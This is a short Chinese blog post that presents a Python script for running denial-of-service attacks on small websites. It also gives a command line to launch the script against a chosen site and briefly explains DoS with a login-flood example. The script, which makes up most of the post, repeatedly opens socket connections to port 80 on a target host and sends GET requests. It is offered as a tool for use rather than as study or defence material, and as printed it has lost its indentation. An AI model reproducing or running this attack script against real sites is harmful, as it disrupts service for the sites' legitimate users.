版权声明:Hi,I m Debroon【Q:23609099,青睐互动 https://blog.csdn.net/qq_41739364/article/details/88829699
用于对小型网站执行拒绝服务攻击的python脚本 :
# file_path: /Users/debroon/PycharmProjects/hacker/ddos.py
# file_name: ddos.py
import socket, sys, os
print("[ Attacking " + sys.argv[1] + " ... ]")
print("injecting " + sys.argv[2])
def attack():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print(">> GET /" + sys.argv[2] + " HTTP/1.1")
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n")
s.close()
for i in range(30):
attack()
终端 or DOS 运行 : python ddos.py 网址 apache
Dos:拒绝服务,拒绝向目标用户提供服务。
e.g. 目标网站每秒可以处理100个人点击“登录”按钮,则攻击者每秒只需要发送100个虚假请求,那么服务器被占据,TA的目标用户就无法登录。